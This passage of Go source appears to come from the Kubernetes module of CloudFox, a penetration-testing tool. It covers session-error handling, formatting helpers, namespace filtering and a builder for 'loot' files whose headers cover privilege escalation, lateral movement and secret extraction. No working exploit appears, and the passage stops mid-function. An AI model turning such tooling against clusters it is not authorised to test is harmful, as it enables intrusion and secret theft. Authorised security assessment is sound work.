// getSignalCtx returns the signal-aware context, initializing it on first use.
|
||||
func getSignalCtx() context.Context {
|
||||
if signalCtx == nil {
|
||||
signalCtx = internal.SetupSignalHandler()
|
||||
}
|
||||
return signalCtx
|
||||
}
|
||||
|
||||
// Context returns a signal-aware context for API operations.
|
||||
// We do NOT use timeouts because arbitrary timeouts cause silent data loss.
|
||||
// Instead, we detect session/auth errors and exit with clear messages.
|
||||
// The returned context is cancelled on confirmed Ctrl+C (double-press).
|
||||
func Context() context.Context {
|
||||
return getSignalCtx()
|
||||
}
|
||||
|
||||
// ContextWithCancel returns a cancellable child of the signal-aware context.
|
||||
// Use this when you need to cancel operations on shutdown/interrupt.
|
||||
// The returned context is cancelled on confirmed Ctrl+C or when cancel is called.
|
||||
func ContextWithCancel() (context.Context, context.CancelFunc) {
|
||||
return context.WithCancel(getSignalCtx())
|
||||
}
|
||||
|
||||
// DEPRECATED: These functions exist only for backward compatibility during migration.
|
||||
// They now return contexts WITHOUT timeouts. Modules should migrate to Context().
|
||||
|
||||
// ContextWithTimeout is DEPRECATED - returns context without timeout.
|
||||
// Arbitrary timeouts cause silent data loss. Use Context() instead.
|
||||
func ContextWithTimeout() (context.Context, context.CancelFunc) {
|
||||
// Return a cancellable context instead of a timeout context
|
||||
// This maintains the same function signature for backward compatibility
|
||||
return context.WithCancel(getSignalCtx())
|
||||
}
|
||||
|
||||
// ContextWithCustomTimeout is DEPRECATED - returns context without timeout.
|
||||
// Arbitrary timeouts cause silent data loss. Use Context() instead.
|
||||
func ContextWithCustomTimeout(_ interface{}) (context.Context, context.CancelFunc) {
|
||||
return context.WithCancel(getSignalCtx())
|
||||
}
|
||||
|
||||
// ContextWithLongTimeout is DEPRECATED - returns context without timeout.
|
||||
// Arbitrary timeouts cause silent data loss. Use Context() instead.
|
||||
func ContextWithLongTimeout() (context.Context, context.CancelFunc) {
|
||||
return context.WithCancel(getSignalCtx())
|
||||
}
|
||||
|
||||
// IsTimeoutError checks if the error is a context deadline exceeded error
|
||||
func IsTimeoutError(err error) bool {
|
||||
return errors.Is(err, context.DeadlineExceeded)
|
||||
}
|
||||
|
||||
// IsContextCanceled checks if the error is a context canceled error
|
||||
func IsContextCanceled(err error) bool {
|
||||
return errors.Is(err, context.Canceled)
|
||||
}
|
||||
|
||||
// IsSessionError checks if an error indicates a session/authentication problem.
|
||||
// If true, the program should exit with a clear message - continuing would produce incomplete results.
|
||||
func IsSessionError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// Check for Kubernetes API errors
|
||||
if k8serrors.IsUnauthorized(err) {
|
||||
return true
|
||||
}
|
||||
if k8serrors.IsForbidden(err) {
|
||||
// Check if it's a token expiration
|
||||
errStr := err.Error()
|
||||
if strings.Contains(errStr, "token") && (strings.Contains(errStr, "expired") || strings.Contains(errStr, "invalid")) {
|
||||
return true
|
||||
}
|
||||
// Generic forbidden might be permission issue, not session issue
|
||||
return false
|
||||
}
|
||||
|
||||
// Check error message for common session issues
|
||||
errStr := strings.ToLower(err.Error())
|
||||
|
||||
// Authentication failures
|
||||
if strings.Contains(errStr, "unauthorized") ||
|
||||
strings.Contains(errStr, "authentication required") ||
|
||||
strings.Contains(errStr, "invalid bearer token") ||
|
||||
strings.Contains(errStr, "token has expired") ||
|
||||
strings.Contains(errStr, "token is expired") ||
|
||||
strings.Contains(errStr, "unable to authenticate") {
|
||||
return true
|
||||
}
|
||||
|
||||
// Connection issues that indicate cluster is unreachable
|
||||
if strings.Contains(errStr, "connection refused") ||
|
||||
strings.Contains(errStr, "no such host") ||
|
||||
strings.Contains(errStr, "connection reset") ||
|
||||
strings.Contains(errStr, "i/o timeout") && strings.Contains(errStr, "dial") {
|
||||
return true
|
||||
}
|
||||
|
||||
// Certificate issues
|
||||
if strings.Contains(errStr, "certificate") && (strings.Contains(errStr, "expired") ||
|
||||
strings.Contains(errStr, "invalid") ||
|
||||
strings.Contains(errStr, "unknown authority")) {
|
||||
return true
|
||||
}
|
||||
|
||||
// Exec credential issues (for EKS, GKE, AKS)
|
||||
if strings.Contains(errStr, "exec plugin") ||
|
||||
strings.Contains(errStr, "credential") && strings.Contains(errStr, "expired") {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// CheckSessionError checks if an error is a session error and exits if so.
|
||||
// Call this on every API error to ensure session issues are caught immediately.
|
||||
// Returns true if error was a session error (program will have exited).
|
||||
// Returns false if error is not a session error (caller should handle normally).
|
||||
func CheckSessionError(err error, logger *internal.Logger, module string) bool {
|
||||
if !IsSessionError(err) {
|
||||
return false
|
||||
}
|
||||
|
||||
// Determine the specific session issue for a helpful message
|
||||
errStr := strings.ToLower(err.Error())
|
||||
var reason string
|
||||
|
||||
switch {
|
||||
case strings.Contains(errStr, "unauthorized") || strings.Contains(errStr, "bearer token"):
|
||||
reason = "Authentication failed - your credentials are invalid or have expired"
|
||||
case strings.Contains(errStr, "token") && strings.Contains(errStr, "expired"):
|
||||
reason = "Your authentication token has expired - please refresh your credentials"
|
||||
case strings.Contains(errStr, "connection refused"):
|
||||
reason = "Cannot connect to the Kubernetes API server - is the cluster running?"
|
||||
case strings.Contains(errStr, "no such host"):
|
||||
reason = "Cannot resolve the Kubernetes API server hostname - check your kubeconfig"
|
||||
case strings.Contains(errStr, "certificate"):
|
||||
reason = "Certificate error - the cluster certificate may be invalid or expired"
|
||||
case strings.Contains(errStr, "exec plugin"):
|
||||
reason = "Credential plugin failed - try refreshing your cloud provider credentials (aws/gcloud/az login)"
|
||||
default:
|
||||
reason = "Session error detected"
|
||||
}
|
||||
|
||||
logger.ErrorM("", module)
|
||||
logger.ErrorM("╔════════════════════════════════════════════════════════════════╗", module)
|
||||
logger.ErrorM("║ SESSION ERROR DETECTED ║", module)
|
||||
logger.ErrorM("╠════════════════════════════════════════════════════════════════╣", module)
|
||||
logger.ErrorM(fmt.Sprintf("║ %s", reason), module)
|
||||
logger.ErrorM("║ ║", module)
|
||||
logger.ErrorM("║ Your Kubernetes session is no longer valid. ║", module)
|
||||
logger.ErrorM("║ Results may be incomplete - please fix and re-run. ║", module)
|
||||
logger.ErrorM("╠════════════════════════════════════════════════════════════════╣", module)
|
||||
logger.ErrorM("║ Common fixes: ║", module)
|
||||
logger.ErrorM("║ • Re-authenticate: kubectl auth whoami ║", module)
|
||||
logger.ErrorM("║ • Refresh creds: aws eks update-kubeconfig / gcloud ... ║", module)
|
||||
logger.ErrorM("║ • Check kubeconfig: kubectl config view ║", module)
|
||||
logger.ErrorM("╚════════════════════════════════════════════════════════════════╝", module)
|
||||
logger.ErrorM("", module)
|
||||
logger.ErrorM(fmt.Sprintf("Original error: %v", err), module)
|
||||
|
||||
os.Exit(1)
|
||||
return true // Never reached, but satisfies compiler
|
||||
}
|
||||
|
||||
// HandleAPIError is the primary error handler for Kubernetes API calls.
|
||||
// It checks for session errors (and exits if found) or logs and continues for other errors.
|
||||
// Returns true if processing should continue, false if it should stop.
|
||||
func HandleAPIError(err error, logger *internal.Logger, operation, resource, namespace, module string) bool {
|
||||
if err == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// First, check if this is a session error - exit immediately if so
|
||||
CheckSessionError(err, logger, module)
|
||||
|
||||
// Not a session error - handle normally
|
||||
msg := fmt.Sprintf("Failed to %s %s", operation, resource)
|
||||
if namespace != "" {
|
||||
msg = fmt.Sprintf("Failed to %s %s in namespace %s", operation, resource, namespace)
|
||||
}
|
||||
msg = fmt.Sprintf("%s: %v", msg, err)
|
||||
|
||||
// Check if this is a permission error (not session, just RBAC)
|
||||
if k8serrors.IsForbidden(err) {
|
||||
logger.ErrorM(fmt.Sprintf("Permission denied: %s (RBAC may restrict access)", msg), module)
|
||||
return true // Continue with other resources
|
||||
}
|
||||
|
||||
// Check if resource doesn't exist (CRD not installed, etc.)
|
||||
if k8serrors.IsNotFound(err) {
|
||||
// This is often expected - CRDs might not be installed
|
||||
return true // Continue silently
|
||||
}
|
||||
|
||||
// Log other errors as warnings and continue
|
||||
logger.ErrorM(fmt.Sprintf("Warning: %s", msg), module)
|
||||
return true
|
||||
}
|
||||
|
||||
// LogTimeoutError logs a timeout-specific error message
|
||||
// DEPRECATED: With smart session detection, timeouts should rarely occur.
|
||||
// Returns true if processing should continue (for partial results), false otherwise
|
||||
func LogTimeoutError(logger *internal.Logger, resource, namespace string, module string, fatal bool) bool {
|
||||
msg := fmt.Sprintf("Timeout listing %s", resource)
|
||||
if namespace != "" {
|
||||
msg = fmt.Sprintf("Timeout listing %s in namespace %s", resource, namespace)
|
||||
}
|
||||
if fatal {
|
||||
logger.ErrorM(msg+", aborting", module)
|
||||
return false
|
||||
}
|
||||
logger.ErrorM(fmt.Sprintf("Warning: %s, partial results returned", msg), module)
|
||||
return true
|
||||
}
|
||||
|
||||
// ErrorSeverity indicates how critical an error is
|
||||
type ErrorSeverity string
|
||||
|
||||
const (
|
||||
// SeverityFatal indicates an error that should stop processing
|
||||
SeverityFatal ErrorSeverity = "fatal"
|
||||
// SeverityWarning indicates an error that allows continued processing with partial results
|
||||
SeverityWarning ErrorSeverity = "warning"
|
||||
// SeverityInfo indicates a minor issue that should be logged but not prominently displayed
|
||||
SeverityInfo ErrorSeverity = "info"
|
||||
)
|
||||
|
||||
// K8sError represents a structured Kubernetes API error
|
||||
type K8sError struct {
|
||||
Op string // Operation: "list", "get", "describe", "watch"
|
||||
Resource string // Resource type: "pods", "services", "secrets", etc.
|
||||
Namespace string // Namespace (empty for cluster-scoped resources)
|
||||
Err error // Underlying error
|
||||
Severity ErrorSeverity // How critical this error is
|
||||
}
|
||||
|
||||
// Error implements the error interface
|
||||
func (e *K8sError) Error() string {
|
||||
if e.Namespace != "" {
|
||||
return fmt.Sprintf("failed to %s %s in namespace %s: %v", e.Op, e.Resource, e.Namespace, e.Err)
|
||||
}
|
||||
return fmt.Sprintf("failed to %s %s: %v", e.Op, e.Resource, e.Err)
|
||||
}
|
||||
|
||||
// Unwrap returns the underlying error for errors.Is/errors.As support
|
||||
func (e *K8sError) Unwrap() error {
|
||||
return e.Err
|
||||
}
|
||||
|
||||
// NewK8sError creates a new K8sError with the given parameters
|
||||
func NewK8sError(op, resource, namespace string, err error, severity ErrorSeverity) *K8sError {
|
||||
return &K8sError{
|
||||
Op: op,
|
||||
Resource: resource,
|
||||
Namespace: namespace,
|
||||
Err: err,
|
||||
Severity: severity,
|
||||
}
|
||||
}
|
||||
|
||||
// Convenience constructors for common error patterns
|
||||
|
||||
// ListError creates a K8sError for list operations
|
||||
func ListError(resource, namespace string, err error) *K8sError {
|
||||
return NewK8sError("list", resource, namespace, err, SeverityWarning)
|
||||
}
|
||||
|
||||
// ListErrorFatal creates a fatal K8sError for list operations
|
||||
func ListErrorFatal(resource, namespace string, err error) *K8sError {
|
||||
return NewK8sError("list", resource, namespace, err, SeverityFatal)
|
||||
}
|
||||
|
||||
// GetError creates a K8sError for get operations
|
||||
func GetError(resource, namespace string, err error) *K8sError {
|
||||
return NewK8sError("get", resource, namespace, err, SeverityWarning)
|
||||
}
|
||||
|
||||
// GetErrorFatal creates a fatal K8sError for get operations
|
||||
func GetErrorFatal(resource, namespace string, err error) *K8sError {
|
||||
return NewK8sError("get", resource, namespace, err, SeverityFatal)
|
||||
}
|
||||
|
||||
// HandleError logs the error appropriately and returns whether processing should continue.
|
||||
// IMPORTANT: This now checks for session errors first!
|
||||
// Returns true if processing should continue, false if it should stop
|
||||
func HandleError(logger *internal.Logger, k8sErr *K8sError, module string) bool {
|
||||
// First check if this is a session error
|
||||
CheckSessionError(k8sErr.Err, logger, module)
|
||||
|
||||
switch k8sErr.Severity {
|
||||
case SeverityFatal:
|
||||
logger.ErrorM(k8sErr.Error(), module)
|
||||
return false // Stop processing
|
||||
case SeverityWarning:
|
||||
logger.ErrorM(fmt.Sprintf("Warning: %s", k8sErr.Error()), module)
|
||||
return true // Continue with partial results
|
||||
case SeverityInfo:
|
||||
// Info-level errors are logged to file only (via ErrorM which logs to txtLog)
|
||||
// but we prefix with "Info:" to distinguish them
|
||||
logger.InfoM(k8sErr.Error(), module)
|
||||
return true
|
||||
default:
|
||||
logger.ErrorM(k8sErr.Error(), module)
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// HandleErrorSimple is a simplified error handler that logs and returns continue status
|
||||
// Use this when you just need to log and continue/stop based on severity
|
||||
func HandleErrorSimple(logger *internal.Logger, op, resource, namespace string, err error, module string, fatal bool) bool {
|
||||
// First check if this is a session error
|
||||
CheckSessionError(err, logger, module)
|
||||
|
||||
severity := SeverityWarning
|
||||
if fatal {
|
||||
severity = SeverityFatal
|
||||
}
|
||||
k8sErr := NewK8sError(op, resource, namespace, err, severity)
|
||||
return HandleError(logger, k8sErr, module)
|
||||
}
|
||||
|
||||
// LogListError is a convenience function for logging list operation errors
|
||||
// Returns true if processing should continue (non-fatal), false otherwise
|
||||
func LogListError(logger *internal.Logger, resource, namespace string, err error, module string, fatal bool) bool {
|
||||
// First check if this is a session error
|
||||
CheckSessionError(err, logger, module)
|
||||
|
||||
var k8sErr *K8sError
|
||||
if fatal {
|
||||
k8sErr = ListErrorFatal(resource, namespace, err)
|
||||
} else {
|
||||
k8sErr = ListError(resource, namespace, err)
|
||||
}
|
||||
return HandleError(logger, k8sErr, module)
|
||||
}
|
||||
|
||||
// LogGetError is a convenience function for logging get operation errors
|
||||
// Returns true if processing should continue (non-fatal), false otherwise
|
||||
func LogGetError(logger *internal.Logger, resource, namespace string, err error, module string, fatal bool) bool {
|
||||
// First check if this is a session error
|
||||
CheckSessionError(err, logger, module)
|
||||
|
||||
var k8sErr *K8sError
|
||||
if fatal {
|
||||
k8sErr = GetErrorFatal(resource, namespace, err)
|
||||
} else {
|
||||
k8sErr = GetError(resource, namespace, err)
|
||||
}
|
||||
return HandleError(logger, k8sErr, module)
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
package shared
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Boolean formatting - standardized Yes/No display
|
||||
func FormatBool(b bool) string {
|
||||
if b {
|
||||
return "Yes"
|
||||
}
|
||||
return "No"
|
||||
}
|
||||
|
||||
// FormatBoolPtr formats a *bool with default for nil
|
||||
func FormatBoolPtr(b *bool, defaultVal string) string {
|
||||
if b == nil {
|
||||
return defaultVal
|
||||
}
|
||||
return FormatBool(*b)
|
||||
}
|
||||
|
||||
// NonEmpty returns the string or a default if empty
|
||||
func NonEmpty(s string) string {
|
||||
if s == "" {
|
||||
return "-"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// NonEmptyDefault returns the string or specified default if empty
|
||||
func NonEmptyDefault(s, defaultVal string) string {
|
||||
if s == "" {
|
||||
return defaultVal
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// FormatList returns comma-separated list or default if empty
|
||||
func FormatList(items []string) string {
|
||||
if len(items) == 0 {
|
||||
return "-"
|
||||
}
|
||||
return strings.Join(items, ", ")
|
||||
}
|
||||
|
||||
// FormatListTruncated returns truncated list with count of remaining items
|
||||
func FormatListTruncated(items []string, maxItems int) string {
|
||||
if len(items) == 0 {
|
||||
return "-"
|
||||
}
|
||||
if len(items) <= maxItems {
|
||||
return strings.Join(items, ", ")
|
||||
}
|
||||
shown := strings.Join(items[:maxItems], ", ")
|
||||
return fmt.Sprintf("%s (+%d more)", shown, len(items)-maxItems)
|
||||
}
|
||||
|
||||
// FormatListMax is an alias for FormatListTruncated with default max of 3
|
||||
func FormatListMax(items []string) string {
|
||||
return FormatListTruncated(items, 3)
|
||||
}
|
||||
|
||||
// FormatCount returns formatted count string
|
||||
func FormatCount(count int, singular, plural string) string {
|
||||
if count == 1 {
|
||||
return fmt.Sprintf("%d %s", count, singular)
|
||||
}
|
||||
return fmt.Sprintf("%d %s", count, plural)
|
||||
}
|
||||
|
||||
// FormatAge returns human-readable age string
|
||||
func FormatAge(t time.Time) string {
|
||||
if t.IsZero() {
|
||||
return "-"
|
||||
}
|
||||
|
||||
duration := time.Since(t)
|
||||
|
||||
days := int(duration.Hours() / 24)
|
||||
hours := int(duration.Hours()) % 24
|
||||
minutes := int(duration.Minutes()) % 60
|
||||
|
||||
switch {
|
||||
case days > 365:
|
||||
years := days / 365
|
||||
return fmt.Sprintf("%dy", years)
|
||||
case days > 30:
|
||||
months := days / 30
|
||||
return fmt.Sprintf("%dmo", months)
|
||||
case days > 0:
|
||||
return fmt.Sprintf("%dd", days)
|
||||
case hours > 0:
|
||||
return fmt.Sprintf("%dh", hours)
|
||||
case minutes > 0:
|
||||
return fmt.Sprintf("%dm", minutes)
|
||||
default:
|
||||
return "<1m"
|
||||
}
|
||||
}
|
||||
|
||||
// FormatAgeDuration returns human-readable duration string
|
||||
func FormatAgeDuration(d time.Duration) string {
|
||||
if d == 0 {
|
||||
return "-"
|
||||
}
|
||||
|
||||
days := int(d.Hours() / 24)
|
||||
hours := int(d.Hours()) % 24
|
||||
minutes := int(d.Minutes()) % 60
|
||||
|
||||
switch {
|
||||
case days > 365:
|
||||
years := days / 365
|
||||
return fmt.Sprintf("%dy", years)
|
||||
case days > 30:
|
||||
months := days / 30
|
||||
return fmt.Sprintf("%dmo", months)
|
||||
case days > 0:
|
||||
return fmt.Sprintf("%dd", days)
|
||||
case hours > 0:
|
||||
return fmt.Sprintf("%dh", hours)
|
||||
case minutes > 0:
|
||||
return fmt.Sprintf("%dm", minutes)
|
||||
default:
|
||||
return "<1m"
|
||||
}
|
||||
}
|
||||
|
||||
// FormatInt returns string representation of int
|
||||
func FormatInt(i int) string {
|
||||
return fmt.Sprintf("%d", i)
|
||||
}
|
||||
|
||||
// FormatInt64 returns string representation of int64
|
||||
func FormatInt64(i int64) string {
|
||||
return fmt.Sprintf("%d", i)
|
||||
}
|
||||
|
||||
// FormatPercentage returns formatted percentage
|
||||
func FormatPercentage(value, total int) string {
|
||||
if total == 0 {
|
||||
return "0%"
|
||||
}
|
||||
return fmt.Sprintf("%.0f%%", float64(value)/float64(total)*100)
|
||||
}
|
||||
|
||||
// FormatBytes returns human-readable byte size
|
||||
func FormatBytes(bytes int64) string {
|
||||
const (
|
||||
KB = 1024
|
||||
MB = KB * 1024
|
||||
GB = MB * 1024
|
||||
TB = GB * 1024
|
||||
)
|
||||
|
||||
switch {
|
||||
case bytes >= TB:
|
||||
return fmt.Sprintf("%.1fTi", float64(bytes)/TB)
|
||||
case bytes >= GB:
|
||||
return fmt.Sprintf("%.1fGi", float64(bytes)/GB)
|
||||
case bytes >= MB:
|
||||
return fmt.Sprintf("%.1fMi", float64(bytes)/MB)
|
||||
case bytes >= KB:
|
||||
return fmt.Sprintf("%.1fKi", float64(bytes)/KB)
|
||||
default:
|
||||
return fmt.Sprintf("%dB", bytes)
|
||||
}
|
||||
}
|
||||
|
||||
// TruncateString truncates string to max length with ellipsis
|
||||
func TruncateString(s string, maxLen int) string {
|
||||
if len(s) <= maxLen {
|
||||
return s
|
||||
}
|
||||
if maxLen <= 3 {
|
||||
return s[:maxLen]
|
||||
}
|
||||
return s[:maxLen-3] + "..."
|
||||
}
|
||||
|
||||
// UniqueStrings returns unique strings from slice
|
||||
func UniqueStrings(items []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
result := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
if !seen[item] {
|
||||
seen[item] = true
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// Contains checks if slice contains string
|
||||
func Contains(slice []string, item string) bool {
|
||||
for _, s := range slice {
|
||||
if s == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ContainsAny checks if slice contains any of the items
|
||||
func ContainsAny(slice []string, items ...string) bool {
|
||||
for _, item := range items {
|
||||
if Contains(slice, item) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// FilterNonEmpty returns only non-empty strings
|
||||
func FilterNonEmpty(items []string) []string {
|
||||
result := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
if item != "" {
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// JoinNonEmpty joins non-empty strings with separator
|
||||
func JoinNonEmpty(items []string, sep string) string {
|
||||
return strings.Join(FilterNonEmpty(items), sep)
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
package shared
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
)
|
||||
|
||||
// LootBuilder provides a fluent API for building loot files
|
||||
type LootBuilder struct {
|
||||
sections map[string]*LootSection
|
||||
order []string // Maintains insertion order
|
||||
}
|
||||
|
||||
// LootSection represents a single loot file section
|
||||
type LootSection struct {
|
||||
name string
|
||||
header string
|
||||
summary string
|
||||
items []string
|
||||
}
|
||||
|
||||
// NewLootBuilder creates a new LootBuilder
|
||||
func NewLootBuilder() *LootBuilder {
|
||||
return &LootBuilder{
|
||||
sections: make(map[string]*LootSection),
|
||||
order: make([]string, 0),
|
||||
}
|
||||
}
|
||||
|
||||
// Section gets or creates a loot section
|
||||
func (lb *LootBuilder) Section(name string) *LootSection {
|
||||
if section, exists := lb.sections[name]; exists {
|
||||
return section
|
||||
}
|
||||
|
||||
section := &LootSection{
|
||||
name: name,
|
||||
items: make([]string, 0),
|
||||
}
|
||||
lb.sections[name] = section
|
||||
lb.order = append(lb.order, name)
|
||||
return section
|
||||
}
|
||||
|
||||
// HasSection checks if a section exists
|
||||
func (lb *LootBuilder) HasSection(name string) bool {
|
||||
_, exists := lb.sections[name]
|
||||
return exists
|
||||
}
|
||||
|
||||
// Build generates the final loot files
|
||||
func (lb *LootBuilder) Build() []internal.LootFile {
|
||||
files := make([]internal.LootFile, 0, len(lb.order))
|
||||
|
||||
for _, name := range lb.order {
|
||||
section := lb.sections[name]
|
||||
if len(section.items) == 0 && section.summary == "" {
|
||||
continue // Skip empty sections
|
||||
}
|
||||
|
||||
var content strings.Builder
|
||||
|
||||
// Add header if present
|
||||
if section.header != "" {
|
||||
content.WriteString(section.header)
|
||||
content.WriteString("\n")
|
||||
}
|
||||
|
||||
// Add summary if present
|
||||
if section.summary != "" {
|
||||
content.WriteString(section.summary)
|
||||
content.WriteString("\n")
|
||||
}
|
||||
|
||||
// Add items
|
||||
for _, item := range section.items {
|
||||
content.WriteString(item)
|
||||
content.WriteString("\n")
|
||||
}
|
||||
|
||||
files = append(files, internal.LootFile{
|
||||
Name: section.name,
|
||||
Contents: strings.TrimSuffix(content.String(), "\n"),
|
||||
})
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
// SetHeader sets the header for this section
|
||||
func (ls *LootSection) SetHeader(header string) *LootSection {
|
||||
ls.header = header
|
||||
return ls
|
||||
}
|
||||
|
||||
// SetSummary sets the summary (appears after header, before items)
|
||||
func (ls *LootSection) SetSummary(summary string) *LootSection {
|
||||
ls.summary = summary
|
||||
return ls
|
||||
}
|
||||
|
||||
// Add adds a line to this section
|
||||
func (ls *LootSection) Add(line string) *LootSection {
|
||||
ls.items = append(ls.items, line)
|
||||
return ls
|
||||
}
|
||||
|
||||
// Addf adds a formatted line to this section
|
||||
func (ls *LootSection) Addf(format string, args ...interface{}) *LootSection {
|
||||
ls.items = append(ls.items, fmt.Sprintf(format, args...))
|
||||
return ls
|
||||
}
|
||||
|
||||
// AddIf conditionally adds a line
|
||||
func (ls *LootSection) AddIf(condition bool, line string) *LootSection {
|
||||
if condition {
|
||||
ls.Add(line)
|
||||
}
|
||||
return ls
|
||||
}
|
||||
|
||||
// AddIfNotEmpty adds line if value is not empty
|
||||
func (ls *LootSection) AddIfNotEmpty(value, line string) *LootSection {
|
||||
if value != "" {
|
||||
ls.Add(line)
|
||||
}
|
||||
return ls
|
||||
}
|
||||
|
||||
// AddCmd adds a command with optional comment
|
||||
func (ls *LootSection) AddCmd(cmd string) *LootSection {
|
||||
ls.items = append(ls.items, cmd)
|
||||
return ls
|
||||
}
|
||||
|
||||
// AddCmdWithComment adds a command with a preceding comment
|
||||
func (ls *LootSection) AddCmdWithComment(comment, cmd string) *LootSection {
|
||||
ls.items = append(ls.items, fmt.Sprintf("# %s", comment))
|
||||
ls.items = append(ls.items, cmd)
|
||||
return ls
|
||||
}
|
||||
|
||||
// AddSection adds a sub-section header
|
||||
func (ls *LootSection) AddSection(title string) *LootSection {
|
||||
ls.items = append(ls.items, "")
|
||||
ls.items = append(ls.items, fmt.Sprintf("### %s", title))
|
||||
return ls
|
||||
}
|
||||
|
||||
// AddBlank adds a blank line
|
||||
func (ls *LootSection) AddBlank() *LootSection {
|
||||
ls.items = append(ls.items, "")
|
||||
return ls
|
||||
}
|
||||
|
||||
// Len returns the number of items in this section
|
||||
func (ls *LootSection) Len() int {
|
||||
return len(ls.items)
|
||||
}
|
||||
|
||||
// Standard loot headers
|
||||
const (
|
||||
LootHeaderExec = `#####################################
|
||||
##### Execute Commands
|
||||
#####################################
|
||||
#
|
||||
# MANUAL EXECUTION REQUIRED
|
||||
# Commands for interactive access
|
||||
#`
|
||||
|
||||
LootHeaderEnum = `#####################################
|
||||
##### Enumeration Commands
|
||||
#####################################
|
||||
#
|
||||
# MANUAL EXECUTION REQUIRED
|
||||
# Commands for gathering information
|
||||
#`
|
||||
|
||||
LootHeaderPrivEsc = `#####################################
|
||||
##### Privilege Escalation
|
||||
#####################################
|
||||
#
|
||||
# MANUAL EXECUTION REQUIRED
|
||||
# Potential privilege escalation paths
|
||||
#`
|
||||
|
||||
LootHeaderLateralMove = `#####################################
|
||||
##### Lateral Movement
|
||||
#####################################
|
||||
#
|
||||
# MANUAL EXECUTION REQUIRED
|
||||
# Potential lateral movement paths
|
||||
#`
|
||||
|
||||
LootHeaderSecrets = `#####################################
|
||||
##### Secret Extraction
|
||||
#####################################
|
||||
#
|
||||
# MANUAL EXECUTION REQUIRED
|
||||
# Commands to extract secrets
|
||||
#`
|
||||
|
||||
LootHeaderRemediation = `#####################################
|
||||
##### Remediation
|
||||
#####################################
|
||||
#
|
||||
# Recommended fixes for identified issues
|
||||
#`
|
||||
|
||||
LootHeaderAttackChains = `#####################################
|
||||
##### Attack Chains
|
||||
#####################################
|
||||
#
|
||||
# Multi-step attack scenarios
|
||||
#`
|
||||
)
|
||||
|
||||
// Helper function to create standard section names
|
||||
func LootSectionName(resource, category string) string {
|
||||
return fmt.Sprintf("%s-%s", resource, category)
|
||||
}
|
||||
|
||||
// Standard category names
|
||||
const (
|
||||
CategoryExec = "Exec"
|
||||
CategoryEnum = "Enum"
|
||||
CategoryPrivEsc = "PrivEsc"
|
||||
CategoryLateralMove = "LateralMove"
|
||||
CategorySecrets = "Secrets"
|
||||
CategoryRemediation = "Remediation"
|
||||
CategoryAttackChains = "AttackChains"
|
||||
)
|
||||
|
||||
// FormatSuspiciousEntry formats a suspicious finding with its issues for loot output.
|
||||
// Resource identifier on first line, issues indented below for clear visual separation.
|
||||
// Returns lines to append to loot content.
|
||||
func FormatSuspiciousEntry(namespace, name string, issues []string) []string {
|
||||
var lines []string
|
||||
lines = append(lines, fmt.Sprintf("# %s/%s", namespace, name))
|
||||
for _, issue := range issues {
|
||||
lines = append(lines, fmt.Sprintf("# - %s", issue))
|
||||
}
|
||||
return lines
|
||||
}
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
package shared
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
// GetTargetNamespaces returns the list of namespaces to enumerate based on global flags.
|
||||
// If specific namespaces are configured, those are returned.
|
||||
// Otherwise, it fetches all namespaces from the cluster.
|
||||
// This function should be called by modules that need to iterate over namespaces.
|
||||
func GetTargetNamespaces(ctx context.Context, clientset *kubernetes.Clientset, logger *internal.Logger, moduleName string) []string {
|
||||
// If namespaces were pre-configured via flags, use those
|
||||
if len(globals.K8sNamespaces) > 0 {
|
||||
return globals.K8sNamespaces
|
||||
}
|
||||
|
||||
// Otherwise, fetch all namespaces
|
||||
namespaces, err := clientset.CoreV1().Namespaces().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM("Failed to list namespaces: "+err.Error(), moduleName)
|
||||
return []string{}
|
||||
}
|
||||
|
||||
var result []string
|
||||
for _, ns := range namespaces.Items {
|
||||
result = append(result, ns.Name)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// ShouldIncludeNamespace checks if a given namespace should be included
|
||||
// based on the configured namespace filters.
|
||||
func ShouldIncludeNamespace(namespace string) bool {
|
||||
// If no specific namespaces configured, include all
|
||||
if len(globals.K8sNamespaces) == 0 || globals.K8sAllNamespaces {
|
||||
return true
|
||||
}
|
||||
|
||||
// Check if namespace is in the target list
|
||||
for _, ns := range globals.K8sNamespaces {
|
||||
if ns == namespace {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// FilterByNamespace filters a slice of items based on namespace.
|
||||
// The getNamespace function extracts the namespace from each item.
|
||||
func FilterByNamespace[T any](items []T, getNamespace func(T) string) []T {
|
||||
// If all namespaces are targeted, return everything
|
||||
if len(globals.K8sNamespaces) == 0 || globals.K8sAllNamespaces {
|
||||
return items
|
||||
}
|
||||
|
||||
// Build a set of target namespaces for O(1) lookup
|
||||
targetNS := make(map[string]bool)
|
||||
for _, ns := range globals.K8sNamespaces {
